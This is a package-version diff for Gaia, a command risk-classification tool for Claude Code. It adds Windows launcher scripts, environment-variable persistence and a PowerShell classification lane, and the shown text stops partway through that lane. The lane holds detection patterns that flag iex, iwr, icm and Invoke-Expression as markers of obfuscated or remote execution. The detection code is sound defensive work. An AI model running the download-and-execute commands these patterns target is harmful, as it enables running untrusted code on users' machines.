@jaguilar87/gaia 5.2.0-rc.1 → 5.2.0-rc.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,7 +9,7 @@
9
9
  {
10
10
  "name": "gaia",
11
11
  "description": "Security-first multi-agent orchestration for Claude Code. Specialized agents cover the full development lifecycle — analysis, planning, execution, deployment — with codebase-aware context injection. Every command is risk-classified: read-only runs freely, state changes pause for your approval, and irreversible operations are permanently blocked.",
12
- "version": "5.2.0-rc.1",
12
+ "version": "5.2.0-rc.3",
13
13
  "category": "devops",
14
14
  "author": {
15
15
  "name": "jaguilar87",
@@ -19,7 +19,7 @@
19
19
  "source": {
20
20
  "source": "github",
21
21
  "repo": "metraton/gaia",
22
- "ref": "v5.2.0-rc.1"
22
+ "ref": "v5.2.0-rc.3"
23
23
  }
24
24
  }
25
25
  ]
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "gaia",
3
- "version": "5.2.0-rc.1",
3
+ "version": "5.2.0-rc.3",
4
4
  "description": "Security-first multi-agent orchestration for Claude Code. Agents span the full lifecycle; commands are risk-classified \u2014 reads run free, state changes need approval, irreversible ops blocked.",
5
5
  "author": {
6
6
  "name": "jaguilar87",
package/CHANGELOG.md CHANGED
@@ -29,6 +29,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
29
29
  - `gaia context prune-workspaces --yes` is now correctly classified T3 (state-mutating): it hard-deletes `workspaces` rows, but the `context` group carried no mutative verb and classified read-only by elimination. Only the destructive subcommand is anchored (`COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES[("gaia","context")]`); other `context` subcommands stay read-only. Separately, the Step 5 ALWAYS-dangerous flag scan now runs before the read-only-verb early return, so `git fetch --prune` (a read-only verb with a destructive flag) escalates to T3 instead of being skipped.
30
30
  - SubagentStop M4 fence footgun: a turn that built its contract via the `gaia contract` CLI and ran `gaia contract finalize` (valid terminal row) but forgot to echo the fenced `agent_contract_handoff` in its response text was hard-rejected by the full-verdict gate. `adapt_subagent_stop` now reconstructs the envelope from the agent's own finalized draft when the fence is missing, so the gate parses the completed contract; non-fatal (falls back to the unchanged gate when no finalized row exists). The minted-agent-id resolver was factored into a shared `resolve_minted_agent_id` reused by the backstop, truncation salvage, and this path.
31
31
 
32
+ ## [5.2.0-rc.3] - 2026-07-17
33
+
34
+ ## [5.2.0-rc.2] - 2026-07-17
35
+
32
36
  ## [5.2.0-rc.1] - 2026-07-17
33
37
 
34
38
  ## [5.1.3] - 2026-07-07
package/bin/cli/doctor.py CHANGED
@@ -103,7 +103,16 @@ def _derive_workspace(override: str = None) -> Path:
103
103
  Algorithm
104
104
  ---------
105
105
  1. If *override* is given (from --workspace), validate it has .claude/
106
- and return it directly.
106
+ and return it directly. (Highest priority -- always wins.)
107
+ 1b. Else if the ``GAIA_WORKSPACE_PATH`` env var is set AND points at a dir
108
+ containing ``.claude/``, return it. This is set by the Windows launcher
109
+ (see install.py Step 6.5), which bakes the resolved workspace so a
110
+ global-shim invocation resolves the SAME workspace POSIX derives from
111
+ ``__file__``. Without this, the npm global ``gaia.cmd`` runs ``bin/gaia``
112
+ from the npm prefix, ``__file__`` lands there, and the derivation below
113
+ yields the npm prefix as the "workspace" -- a false CRITICAL. An env var
114
+ that is unset OR points at a dir without ``.claude/`` falls through to
115
+ the ``__file__`` derivation (it is a hint, not an override).
107
116
  2. Resolve Path(__file__) to its realpath and find the FIRST (leftmost)
108
117
  ``node_modules`` path segment; the workspace is everything before it.
109
118
  3. Sanity-check that ``@jaguilar87`` and ``gaia`` both appear somewhere
@@ -148,6 +157,16 @@ def _derive_workspace(override: str = None) -> Path:
148
157
  sys.exit(2)
149
158
  return ws
150
159
 
160
+ # --- GAIA_WORKSPACE_PATH env (baked by the Windows launcher) ---
161
+ # Consulted BEFORE the __file__ derivation but AFTER --workspace. Only
162
+ # honored when it resolves to a dir with .claude/; otherwise fall through
163
+ # (never a cwd walk-up -- that was removed on purpose). See docstring 1b.
164
+ env_ws = os.environ.get("GAIA_WORKSPACE_PATH")
165
+ if env_ws:
166
+ candidate = Path(env_ws).expanduser().resolve()
167
+ if (candidate / ".claude").is_dir():
168
+ return candidate
169
+
151
170
  # --- Derive from __file__ realpath ---
152
171
  script_path = Path(__file__).resolve()
153
172
  parts = script_path.parts
@@ -185,10 +204,21 @@ def _derive_workspace(override: str = None) -> Path:
185
204
  return workspace
186
205
 
187
206
  # --- No inferable consumer workspace ---
207
+ # Legible, actionable failure -- NOT a raw CRITICAL. Reached when Gaia is
208
+ # not running from inside a workspace's node_modules/@jaguilar87/gaia tree
209
+ # (global or symlinked install) AND GAIA_WORKSPACE_PATH is unset or points
210
+ # at a dir without .claude/. The two remedies are explicit; no cwd walk-up
211
+ # and no forced --workspace (both deliberately avoided).
188
212
  print(
189
- "gaia doctor: global or symlinked install detected; "
190
- "no consumer workspace inferable. "
191
- "Specify --workspace <path> to choose one.",
213
+ "gaia doctor: could not resolve a workspace to check "
214
+ "(global or symlinked install detected, and GAIA_WORKSPACE_PATH is "
215
+ "not set to a directory with .claude/).\n"
216
+ " Fix it one of two ways:\n"
217
+ " - run `gaia doctor --workspace <path>` to check a specific "
218
+ "workspace now, or\n"
219
+ " - reinstall with `gaia install --workspace <path>` (on Windows "
220
+ "this also persists GAIA_WORKSPACE_PATH so doctor resolves the "
221
+ "workspace automatically).",
192
222
  file=sys.stderr,
193
223
  )
194
224
  sys.exit(2)
@@ -61,8 +61,9 @@ Flags:
61
61
  Useful when running install just to refresh the DB
62
62
  schema from a non-Gaia directory.
63
63
  --no-path Skip creating the ~/.local/bin/gaia launcher. By default
64
- install writes a workspace-aware bash launcher so `gaia`
65
- is callable from any cwd.
64
+ install writes a workspace-aware launcher so `gaia` is
65
+ callable from any cwd: a bash launcher on POSIX, and
66
+ `gaia.cmd` + `gaia.ps1` on Windows.
66
67
  """
67
68
 
68
69
  from __future__ import annotations
@@ -92,30 +93,103 @@ _SEED_SURFACE_ROUTING = _PACKAGE_ROOT / "tools" / "scan" / "seed_surface_routing
92
93
 
93
94
 
94
95
  # ---------------------------------------------------------------------------
95
- # PATH launcher (~/.local/bin/gaia -- workspace-bound bash launcher)
96
+ # PATH launcher (~/.local/bin/gaia -- workspace-bound launcher)
96
97
  # ---------------------------------------------------------------------------
97
-
98
- # Hardcoded launcher template. The workspace path is resolved at install time
99
- # (the cwd of `gaia install`) and baked into the script verbatim. No discovery,
100
- # no env vars, no fallbacks -- the shim is a 3-line exec to a fixed path.
101
98
  #
102
- # Rationale: the previous workspace-aware launcher walked up from $PWD looking
103
- # for node_modules/@jaguilar87/gaia/, which failed silently from any cwd
104
- # outside the consumer workspace tree (e.g. /tmp). Same conceptual bug that
105
- # rc.5 fixed in doctor.py for the Python layer.
99
+ # Platform split (Step 6.5): the launcher form is chosen by platform. This is a
100
+ # hard guard, not a preference -- a bash script has no meaning to the Windows
101
+ # shell (PowerShell opens an "open with" dialog on an extensionless file), and
102
+ # the POSIX shim's ``{workspace}/node_modules/...`` target does not exist under
103
+ # ``npm install -g`` on any platform. So:
104
+ #
105
+ # * POSIX -> one bash launcher at ``<link>`` (unchanged behavior).
106
+ # * Windows -> ``<link>.cmd`` and ``<link>.ps1``, each of which
107
+ # (a) bakes the resolved workspace path,
108
+ # (b) exports ``GAIA_WORKSPACE_PATH`` so `gaia doctor` resolves the
109
+ # correct workspace from the env instead of deriving it from
110
+ # ``__file__`` (which, via the npm global shim, lands in the npm
111
+ # prefix and yields a false CRITICAL -- see doctor._derive_workspace),
112
+ # (c) execs the ACTUAL installed ``bin/gaia`` dispatcher
113
+ # (``_gaia_entrypoint()`` = ``<package_root>/bin/gaia``), which is
114
+ # valid for BOTH a global (`-g`) and a local install, unlike the
115
+ # POSIX shim's workspace-relative ``node_modules`` path.
116
+ #
117
+ # PATH precedence vs npm's own shim (Windows): `npm install -g @jaguilar87/gaia`
118
+ # writes its own ``gaia.cmd`` into the npm global prefix (on PATH), and that
119
+ # shim execs ``bin/gaia`` WITHOUT setting GAIA_WORKSPACE_PATH -- which is
120
+ # exactly the origin of the false-CRITICAL bug. Gaia's launcher coexists with
121
+ # and wins over npm's by being written to Gaia's own bin dir (default
122
+ # ``~/.local/bin``): when that dir precedes the npm prefix on PATH, cmd.exe /
123
+ # PowerShell resolve ``gaia`` (``gaia.cmd`` / ``gaia.ps1``) to Gaia's launcher,
124
+ # which sets GAIA_WORKSPACE_PATH before dispatching.
106
125
  #
107
- # Re-running `gaia install` from a different workspace rewrites the shim to
108
- # point at that workspace -- the install action is what selects which Gaia
109
- # install ~/.local/bin/gaia targets.
126
+ # Where Gaia's dir is NOT ahead of the npm prefix (the common case on Windows,
127
+ # where ``~/.local/bin`` is not on PATH by convention), npm's shim wins and
128
+ # execs ``bin/gaia`` WITHOUT the process-scoped GAIA_WORKSPACE_PATH export. The
129
+ # doctor `__file__` fallback does NOT save this case: with the npm global shim,
130
+ # ``__file__`` resolves into the npm prefix, so ``doctor._derive_workspace``
131
+ # derives the npm prefix as the "workspace" and emits a FALSE CRITICAL (this is
132
+ # the observed rc.2 bug, not a hypothetical). Two things close it, so the fix
133
+ # does not depend on PATH order:
134
+ # 1. `gaia install` on Windows PERSISTS GAIA_WORKSPACE_PATH to the USER
135
+ # environment (`setx`, see `_persist_workspace_env`). The next `gaia
136
+ # doctor` is a fresh process that inherits it, so doctor resolves the
137
+ # workspace via the env var regardless of which `gaia` won the PATH.
138
+ # 2. `gaia install` WARNS when Gaia's launcher dir is not ahead of the npm
139
+ # prefix on PATH (see `_launcher_path_precedence`), so the shadowed-launcher
140
+ # condition is a visible, actionable signal instead of a silent surprise.
141
+ #
142
+ # Re-running `gaia install` from a different workspace rewrites the launcher(s)
143
+ # to point at that workspace AND re-persists GAIA_WORKSPACE_PATH -- the install
144
+ # action is what selects which workspace both the launcher and the env var
145
+ # target (last-install-wins, single-valued).
146
+
147
+ # POSIX bash launcher. The workspace path is resolved at install time and baked
148
+ # in verbatim. No discovery, no env vars, no fallbacks -- a 3-line exec.
110
149
  _LAUNCHER_TEMPLATE = """#!/bin/bash
111
150
  # gaia -- workspace-bound launcher (workspace path hardcoded at install time)
112
151
  # Generated by `gaia install`. Re-run install from another workspace to retarget.
113
152
  exec python3 "{workspace_path}/node_modules/@jaguilar87/gaia/bin/gaia" "$@"
114
153
  """
115
154
 
155
+ # Windows launchers. Both bake the resolved workspace, export GAIA_WORKSPACE_PATH,
156
+ # and dispatch to the ACTUAL installed bin/gaia (global- or local-install safe).
157
+ _CMD_LAUNCHER_TEMPLATE = """@echo off
158
+ REM gaia -- workspace-bound launcher (generated by `gaia install`)
159
+ REM Re-run install from another workspace to retarget. Exports GAIA_WORKSPACE_PATH
160
+ REM so `gaia doctor` resolves this workspace instead of deriving from __file__.
161
+ set "GAIA_WORKSPACE_PATH={workspace_path}"
162
+ python "{gaia_bin}" %*
163
+ """
164
+
165
+ _PS1_LAUNCHER_TEMPLATE = """# gaia -- workspace-bound launcher (generated by `gaia install`)
166
+ # Re-run install from another workspace to retarget. Exports GAIA_WORKSPACE_PATH
167
+ # so `gaia doctor` resolves this workspace instead of deriving from __file__.
168
+ $env:GAIA_WORKSPACE_PATH = "{workspace_path}"
169
+ & python "{gaia_bin}" @args
170
+ exit $LASTEXITCODE
171
+ """
172
+
173
+
174
+ def _is_windows() -> bool:
175
+ """True on Windows. Isolated so the platform guard is trivially patchable."""
176
+ return sys.platform == "win32"
177
+
178
+
179
+ def _gaia_entrypoint() -> Path:
180
+ """Absolute path to the installed ``bin/gaia`` dispatcher.
181
+
182
+ This is ``<package_root>/bin/gaia`` -- the real location of the running
183
+ Gaia package, which resolves correctly under both a global (`npm i -g`)
184
+ and a local install. The POSIX shim's ``{workspace}/node_modules/...``
185
+ assumption breaks under `-g` (there is no workspace-relative node_modules);
186
+ the Windows launchers bake this resolved path instead.
187
+ """
188
+ return _PACKAGE_ROOT / "bin" / "gaia"
189
+
116
190
 
117
191
  def _render_launcher(workspace: Path) -> str:
118
- """Render the launcher script with the workspace path baked in.
192
+ """Render the POSIX bash launcher with the workspace path baked in.
119
193
 
120
194
  The workspace must be an absolute, resolved path -- the rendered script
121
195
  references it verbatim. Quoting in the template uses double quotes so
@@ -124,21 +198,40 @@ def _render_launcher(workspace: Path) -> str:
124
198
  return _LAUNCHER_TEMPLATE.format(workspace_path=str(workspace))
125
199
 
126
200
 
201
+ def _render_cmd_launcher(workspace: Path, gaia_bin: Path) -> str:
202
+ """Render the Windows ``gaia.cmd`` launcher (workspace + bin baked in)."""
203
+ return _CMD_LAUNCHER_TEMPLATE.format(
204
+ workspace_path=str(workspace), gaia_bin=str(gaia_bin)
205
+ )
206
+
207
+
208
+ def _render_ps1_launcher(workspace: Path, gaia_bin: Path) -> str:
209
+ """Render the Windows ``gaia.ps1`` launcher (workspace + bin baked in)."""
210
+ return _PS1_LAUNCHER_TEMPLATE.format(
211
+ workspace_path=str(workspace), gaia_bin=str(gaia_bin)
212
+ )
213
+
214
+
127
215
  def _install_path_launcher(
128
216
  target_path: Path | None = None,
129
217
  link_path: Path | str = "~/.local/bin/gaia",
130
218
  overwrite: bool = False,
131
219
  workspace: Path | str | None = None,
220
+ gaia_bin: Path | str | None = None,
132
221
  ) -> dict:
133
- """Install the workspace-bound bash launcher at `link_path`.
222
+ """Install the workspace-bound launcher at `link_path`.
134
223
 
135
- The launcher is a 3-line script that execs into a hardcoded absolute path
136
- pointing at ``<workspace>/node_modules/@jaguilar87/gaia/bin/gaia``. There
137
- is no discovery logic, no env-var override, no fallback chain -- the path
138
- is fixed at install time and only changes when ``gaia install`` runs again
139
- from a different workspace.
224
+ Platform-guarded (Step 6.5): on Windows this writes ``<link>.cmd`` and
225
+ ``<link>.ps1`` (see ``_install_windows_launchers``); on POSIX it writes a
226
+ single bash launcher at ``<link>``. The POSIX behavior below is unchanged.
140
227
 
141
- Behavior:
228
+ The POSIX launcher is a 3-line script that execs into a hardcoded absolute
229
+ path pointing at ``<workspace>/node_modules/@jaguilar87/gaia/bin/gaia``.
230
+ There is no discovery logic, no env-var override, no fallback chain -- the
231
+ path is fixed at install time and only changes when ``gaia install`` runs
232
+ again from a different workspace.
233
+
234
+ Behavior (POSIX):
142
235
  - If `link_path` is a symlink (legacy install): unlink, write launcher.
143
236
  - If `link_path` is a regular file with the expected content: noop.
144
237
  - If `link_path` is a regular file with different content and
@@ -151,10 +244,14 @@ def _install_path_launcher(
151
244
  target_path: accepted for API compatibility; the launcher embeds the
152
245
  workspace path instead. Ignored.
153
246
  link_path: where the shim is written (default ``~/.local/bin/gaia``).
247
+ On Windows, ``.cmd``/``.ps1`` suffixes are derived from this base.
154
248
  overwrite: replace existing different-content files when True.
155
249
  workspace: absolute path to the consumer workspace (the directory
156
250
  that contains ``node_modules/@jaguilar87/gaia/``). Resolved with
157
251
  ``Path.cwd().resolve()`` when None.
252
+ gaia_bin: Windows only -- the ``bin/gaia`` dispatcher the launchers
253
+ exec. Defaults to ``_gaia_entrypoint()`` (the installed package's
254
+ ``bin/gaia``, valid for global and local installs). Ignored on POSIX.
158
255
 
159
256
  Returns a dict with `action`, `path`, and `details`. `action` is one
160
257
  of: created, replaced, migrated, noop, skipped, error.
@@ -167,6 +264,20 @@ def _install_path_launcher(
167
264
  else:
168
265
  workspace_resolved = Path(workspace).expanduser().resolve()
169
266
 
267
+ # Windows: emit gaia.cmd + gaia.ps1 instead of a bash shim. The POSIX path
268
+ # below is left entirely unchanged.
269
+ if _is_windows():
270
+ entry = (
271
+ Path(gaia_bin).expanduser() if gaia_bin is not None
272
+ else _gaia_entrypoint()
273
+ )
274
+ return _install_windows_launchers(
275
+ link=link,
276
+ workspace=workspace_resolved,
277
+ gaia_bin=entry,
278
+ overwrite=overwrite,
279
+ )
280
+
170
281
  parent = link.parent
171
282
  try:
172
283
  parent.mkdir(parents=True, exist_ok=True)
@@ -268,11 +379,230 @@ def _install_path_launcher(
268
379
  }
269
380
 
270
381
 
382
+ def _install_windows_launchers(
383
+ link: Path,
384
+ workspace: Path,
385
+ gaia_bin: Path,
386
+ overwrite: bool = False,
387
+ ) -> dict:
388
+ """Write the Windows ``gaia.cmd`` + ``gaia.ps1`` launchers.
389
+
390
+ Both are derived from ``link`` by suffix: ``<link>.cmd`` and ``<link>.ps1``
391
+ (so a default ``~/.local/bin/gaia`` yields ``gaia.cmd`` / ``gaia.ps1``).
392
+ Each bakes the resolved ``workspace``, exports ``GAIA_WORKSPACE_PATH``, and
393
+ dispatches to ``gaia_bin`` (the actual installed ``bin/gaia``).
394
+
395
+ Idempotent and non-destructive, mirroring the POSIX branch:
396
+ - missing -> created
397
+ - present, matches -> noop
398
+ - present, drifted -> replaced (overwrite=True) / skipped (overwrite=False)
399
+ - a directory in the way -> skipped
400
+
401
+ The aggregate ``action`` is the "strongest" over the two files: error >
402
+ skipped > replaced > created > noop. ``path`` lists both files.
403
+ """
404
+ parent = link.parent
405
+ try:
406
+ parent.mkdir(parents=True, exist_ok=True)
407
+ except OSError as exc:
408
+ return {
409
+ "action": "error",
410
+ "path": str(link),
411
+ "details": f"failed to create parent {parent}: {exc}",
412
+ }
413
+
414
+ targets = [
415
+ (link.with_suffix(".cmd"), _render_cmd_launcher(workspace, gaia_bin)),
416
+ (link.with_suffix(".ps1"), _render_ps1_launcher(workspace, gaia_bin)),
417
+ ]
418
+
419
+ # Rank so the aggregate reports the most significant per-file outcome.
420
+ rank = {"noop": 0, "created": 1, "replaced": 2, "skipped": 3, "error": 4}
421
+ per_file: list[str] = []
422
+ worst = "noop"
423
+
424
+ for path, content in targets:
425
+ action = _write_windows_launcher_file(path, content, overwrite=overwrite)
426
+ per_file.append(f"{path.name}={action}")
427
+ if rank[action] > rank[worst]:
428
+ worst = action
429
+
430
+ return {
431
+ "action": worst,
432
+ "path": ", ".join(str(p) for p, _ in targets),
433
+ "details": "; ".join(per_file),
434
+ }
435
+
436
+
437
+ def _write_windows_launcher_file(path: Path, content: str, overwrite: bool) -> str:
438
+ """Write one Windows launcher file idempotently. Returns the action string."""
439
+ if path.is_dir():
440
+ return "skipped"
441
+ if path.exists():
442
+ try:
443
+ current = path.read_text()
444
+ except OSError:
445
+ return "error"
446
+ if current == content:
447
+ return "noop"
448
+ if not overwrite:
449
+ return "skipped"
450
+ try:
451
+ path.write_text(content)
452
+ except OSError:
453
+ return "error"
454
+ return "replaced"
455
+ try:
456
+ path.write_text(content)
457
+ except OSError:
458
+ return "error"
459
+ return "created"
460
+
461
+
271
462
  # Backward-compatible alias -- existing tests/imports continue to work
272
463
  # while migrating to the new name.
273
464
  _create_path_symlink = _install_path_launcher
274
465
 
275
466
 
467
+ # ---------------------------------------------------------------------------
468
+ # Windows: persist GAIA_WORKSPACE_PATH + PATH-shadow warning
469
+ # ---------------------------------------------------------------------------
470
+ #
471
+ # On Windows the launcher only exports GAIA_WORKSPACE_PATH PROCESS-scoped (see
472
+ # the launcher templates). If npm's own `gaia.cmd` wins the PATH lookup, Gaia's
473
+ # launcher never runs, the env var is never set, and doctor derives the npm
474
+ # prefix as the workspace -> false CRITICAL. Persisting the var at USER scope
475
+ # (`setx`) makes doctor resolve the workspace regardless of which `gaia` wins,
476
+ # because the next `gaia doctor` is a NEW process that inherits the user env.
477
+
478
+
479
+ def _persist_workspace_env(workspace: Path) -> dict:
480
+ """Windows only: persist GAIA_WORKSPACE_PATH to the USER environment.
481
+
482
+ Uses ``setx GAIA_WORKSPACE_PATH "<workspace>"`` -- a documented, built-in
483
+ Windows command that writes the value under HKCU\\Environment and broadcasts
484
+ WM_SETTINGCHANGE. Chosen over a direct ``winreg.SetValueEx`` because it is
485
+ a single self-contained call (no manual broadcast, no HKCU key handling),
486
+ and it mirrors the subprocess pattern the rest of this module already uses
487
+ (bootstrap, seeders). ``setx`` truncates at 1024 chars, which a workspace
488
+ path never approaches.
489
+
490
+ Semantics: last-install-wins, single-valued -- coherent with the launcher,
491
+ which bakes exactly one workspace. ``setx`` applies to FUTURE processes
492
+ (the current shell keeps its old value), which is precisely what doctor
493
+ needs: the next `gaia doctor` invocation is a new process.
494
+
495
+ Returns a step-result dict (``action``/``details``) compatible with
496
+ ``_report_step``. Never raises -- a failure here is advisory (the
497
+ process-scoped launcher export still covers the launcher path).
498
+ """
499
+ if not _is_windows():
500
+ return {"action": "noop", "details": "not Windows -- no env persistence needed"}
501
+
502
+ value = str(workspace)
503
+ try:
504
+ result = subprocess.run(
505
+ ["setx", "GAIA_WORKSPACE_PATH", value],
506
+ capture_output=True,
507
+ text=True,
508
+ check=False,
509
+ )
510
+ except OSError as exc:
511
+ return {"action": "error", "details": f"setx invocation failed: {exc}"}
512
+
513
+ if result.returncode != 0:
514
+ detail = (result.stderr or result.stdout or "unknown error").strip()[:200]
515
+ return {"action": "error", "details": f"setx exited {result.returncode}: {detail}"}
516
+
517
+ return {
518
+ "action": "created",
519
+ "details": f"GAIA_WORKSPACE_PATH persisted (user env) -> {value}",
520
+ }
521
+
522
+
523
+ def _npm_global_prefix() -> "Path | None":
524
+ """Best-effort npm global prefix on Windows (where npm writes its shim).
525
+
526
+ Under ``npm install -g``, npm writes ``gaia.cmd`` into ``%APPDATA%\\npm``.
527
+ We use that convention rather than shelling out to ``npm config get prefix``
528
+ to keep the check offline and fast -- it feeds only an ADVISORY warning, so
529
+ a heuristic is acceptable. Returns None when APPDATA is unset (then the
530
+ precedence check only verifies Gaia's dir is present at all).
531
+ """
532
+ appdata = os.environ.get("APPDATA")
533
+ if appdata:
534
+ return Path(appdata) / "npm"
535
+ return None
536
+
537
+
538
+ def _launcher_path_precedence(
539
+ gaia_bin_dir: Path,
540
+ npm_prefix: "Path | None",
541
+ path_dirs: "list[str]",
542
+ ) -> "str | None":
543
+ """Return an actionable warning when Gaia's launcher will NOT win the
544
+ ``gaia`` name resolution against npm's own shim -- else None.
545
+
546
+ Pure and platform-agnostic (every input is passed in), so it is unit-
547
+ testable on any OS. Comparison is case-insensitive and path-normalized
548
+ (Windows PATH entries vary in case and separators).
549
+
550
+ Two shadowing conditions produce a warning:
551
+ 1. Gaia's launcher dir is not on PATH at all -> npm's shim always wins.
552
+ 2. The npm prefix precedes Gaia's dir on PATH -> npm's shim wins.
553
+ """
554
+ def _norm(p) -> str:
555
+ return os.path.normcase(os.path.normpath(str(p)))
556
+
557
+ normalized = [_norm(p) for p in path_dirs if p]
558
+ gaia_norm = _norm(gaia_bin_dir)
559
+
560
+ gaia_idx = normalized.index(gaia_norm) if gaia_norm in normalized else None
561
+
562
+ if gaia_idx is None:
563
+ return (
564
+ f"{gaia_bin_dir} is not on PATH -- npm's own `gaia` shim will run "
565
+ "instead of Gaia's workspace-bound launcher. Add that dir to PATH "
566
+ "(ahead of the npm prefix) so `gaia` resolves to Gaia's launcher."
567
+ )
568
+
569
+ if npm_prefix is not None:
570
+ npm_norm = _norm(npm_prefix)
571
+ npm_idx = normalized.index(npm_norm) if npm_norm in normalized else None
572
+ if npm_idx is not None and npm_idx < gaia_idx:
573
+ return (
574
+ f"the npm prefix ({npm_prefix}) precedes Gaia's launcher dir "
575
+ f"({gaia_bin_dir}) on PATH -- npm's `gaia` shim wins, so the "
576
+ "workspace-bound launcher will not run. Move Gaia's dir ahead "
577
+ "of the npm prefix on PATH."
578
+ )
579
+
580
+ return None
581
+
582
+
583
+ def _warn_launcher_shadowed(link: "Path | str", quiet: bool) -> "str | None":
584
+ """Windows only: emit an actionable warning when the launcher dir will not
585
+ win ``gaia`` resolution against npm's shim.
586
+
587
+ The plain ``PATH launcher: gaia.cmd=created`` step line is misleading when
588
+ the launcher is shadowed on PATH (it reports creation, not effectiveness);
589
+ this converts that into a visible, actionable signal. Returns the warning
590
+ message (also printed to stderr unless quiet) or None when not shadowed.
591
+ """
592
+ if not _is_windows():
593
+ return None
594
+
595
+ gaia_bin_dir = Path(link).expanduser().parent
596
+ warning = _launcher_path_precedence(
597
+ gaia_bin_dir=gaia_bin_dir,
598
+ npm_prefix=_npm_global_prefix(),
599
+ path_dirs=os.environ.get("PATH", "").split(os.pathsep),
600
+ )
601
+ if warning and not quiet:
602
+ print(f" [!] PATH launcher: {warning}", file=sys.stderr)
603
+ return warning
604
+
605
+
276
606
  # ---------------------------------------------------------------------------
277
607
  # Bootstrap invocation
278
608
  # ---------------------------------------------------------------------------
@@ -632,7 +962,7 @@ def register(subparsers: argparse._SubParsersAction) -> argparse.ArgumentParser:
632
962
  dest="no_path",
633
963
  action="store_true",
634
964
  default=False,
635
- help="Skip creating the ~/.local/bin/gaia symlink",
965
+ help="Skip creating the ~/.local/bin/gaia launcher",
636
966
  )
637
967
  return p
638
968
 
@@ -753,6 +1083,21 @@ def cmd_install(args: argparse.Namespace) -> int:
753
1083
  # retargets the shim.
754
1084
  path_res = _install_path_launcher(workspace=workspace)
755
1085
  _report_step(name="PATH launcher", result=path_res, quiet=quiet, verbose=verbose)
1086
+ # Windows: the "created" line above reports the launcher was WRITTEN,
1087
+ # not that it will WIN `gaia` resolution. Warn when Gaia's launcher dir
1088
+ # is not ahead of the npm prefix on PATH -- an actionable signal, not a
1089
+ # false all-clear. No-op on POSIX.
1090
+ _warn_launcher_shadowed(link="~/.local/bin/gaia", quiet=quiet)
1091
+
1092
+ # Step 6.6 -- Windows: persist GAIA_WORKSPACE_PATH to the user environment
1093
+ # so `gaia doctor` resolves THIS workspace regardless of which `gaia` wins
1094
+ # PATH. The launcher only exports it process-scoped; without this, when
1095
+ # npm's shim wins, doctor derives the npm prefix and emits a false CRITICAL
1096
+ # (the rc.2 bug). Runs even under --no-path: the env var, not the launcher,
1097
+ # is what makes doctor's derivation correct. No-op on POSIX.
1098
+ if _is_windows():
1099
+ env_res = _persist_workspace_env(workspace)
1100
+ _report_step(name="workspace-env", result=env_res, quiet=quiet, verbose=verbose)
756
1101
 
757
1102
  # Install owns Steps 1-6 only. Workspace scanning is a separate, on-demand
758
1103
  # flow (`gaia scan`); install never triggers it. A clean install clears any
@@ -631,6 +631,81 @@ _PY_MODULE_PACKAGE_MANAGERS: FrozenSet[str] = frozenset({
631
631
  "pip", "pip3", "pipenv", "poetry", "uv",
632
632
  })
633
633
 
634
+ # ---------------------------------------------------------------------------
635
+ # PowerShell lane (Step 1c-ps): Windows/.NET interpreter introspection
636
+ # ---------------------------------------------------------------------------
637
+ # The POSIX verb scanner is blind to PowerShell: `powershell.exe -Command
638
+ # "<script>"` collapses the payload into one opaque token, so a mutative
639
+ # `Remove-Item` inside it is never seen (false negative), while the old `-rf`
640
+ # flag heuristic mis-read `-NoProfile` as `-rf` and over-blocked EVERY call
641
+ # (false positive). This lane mirrors `_INLINE_CODE_MAP`/`_check_script_file`
642
+ # for the Windows shell: it introspects the payload and classifies each cmdlet
643
+ # by its Verb-Noun VERB (the part before the hyphen) against PowerShell's own
644
+ # approved-verb taxonomy -- so a never-seen cmdlet classifies correctly by its
645
+ # verb (`Get-FooBar` -> read, `Set-FooBar` -> change) with NO per-cmdlet list.
646
+ _POWERSHELL_INTERPRETERS: FrozenSet[str] = frozenset({
647
+ "powershell", "powershell.exe", "pwsh", "pwsh.exe",
648
+ })
649
+
650
+ # Read/inspection verbs -> NON-mutative (T0/T1). The part before the hyphen of
651
+ # a Verb-Noun cmdlet; matched case-insensitively. Drawn from PowerShell's
652
+ # approved-verb groups (Common/Data/Diagnostic) that only OBSERVE state.
653
+ _PS_READ_VERBS: FrozenSet[str] = frozenset({
654
+ "get", "measure", "select", "where", "sort", "compare",
655
+ "test", "resolve", "find", "search", "show", "format",
656
+ "convertfrom", "convertto", "group", "join", "split", "read",
657
+ })
658
+
659
+ # Change verbs -> MUTATIVE (T3). Any of these anywhere in the payload escalates
660
+ # the WHOLE payload (composition rule mirror: any mutative stage -> T3).
661
+ _PS_CHANGE_VERBS: FrozenSet[str] = frozenset({
662
+ "set", "new", "remove", "clear", "add", "move", "copy", "rename",
663
+ "start", "stop", "restart", "suspend", "resume", "register",
664
+ "unregister", "install", "uninstall", "import", "export", "write",
665
+ "enable", "disable", "mount", "dismount", "invoke", "push", "pop",
666
+ "save", "publish", "send", "update", "edit", "reset", "limit", "block",
667
+ })
668
+
669
+ # The `Out-*` verb is ambiguous: `Out-String`/`Out-Host`/`Out-Null` only render
670
+ # to the pipeline/console (read), while `Out-File`/`Out-Printer` WRITE (change).
671
+ # Split by noun rather than lumping the whole verb into one set.
672
+ _PS_OUT_READ_NOUNS: FrozenSet[str] = frozenset({
673
+ "string", "host", "null", "default", "gridview",
674
+ })
675
+
676
+ # A Verb-Noun cmdlet token: a letter-led word, a hyphen, then a noun word.
677
+ # A leading flag ("-Recurse", "-Command") cannot match -- the pattern requires
678
+ # a letter immediately BEFORE the hyphen, and flags start with the hyphen.
679
+ _PS_CMDLET_RE = _re.compile(r"\b([A-Za-z][A-Za-z]*)-([A-Za-z][A-Za-z0-9]*)\b")
680
+
681
+ # Obfuscation / non-inspectable-execution markers -> T3 regardless of the
682
+ # surrounding cmdlets. These run BEFORE the cmdlet allowlist so a benign read
683
+ # cmdlet piped into `iex` (`Get-Content x | iex`) cannot launder the payload.
684
+ # iex / iwr / icm : bare aliases (Invoke-Expression / -WebRequest / -Command)
685
+ # call operators : `&`/`.` at a statement boundary invoke an arbitrary target
686
+ _PS_OBFUSCATION_RES: Tuple["_re.Pattern[str]", ...] = (
687
+ _re.compile(r"\b(iex|iwr|icm)\b", _re.IGNORECASE),
688
+ _re.compile(r"\binvoke-expression\b", _re.IGNORECASE),
689
+ # `&` or `.` used as a call operator at a statement boundary (start of
690
+ # payload or right after `;` `|` `{` `(` `&&`), followed by whitespace and a
691
+ # target. Excludes a trailing path dot ("Get-ChildItem .") which has no
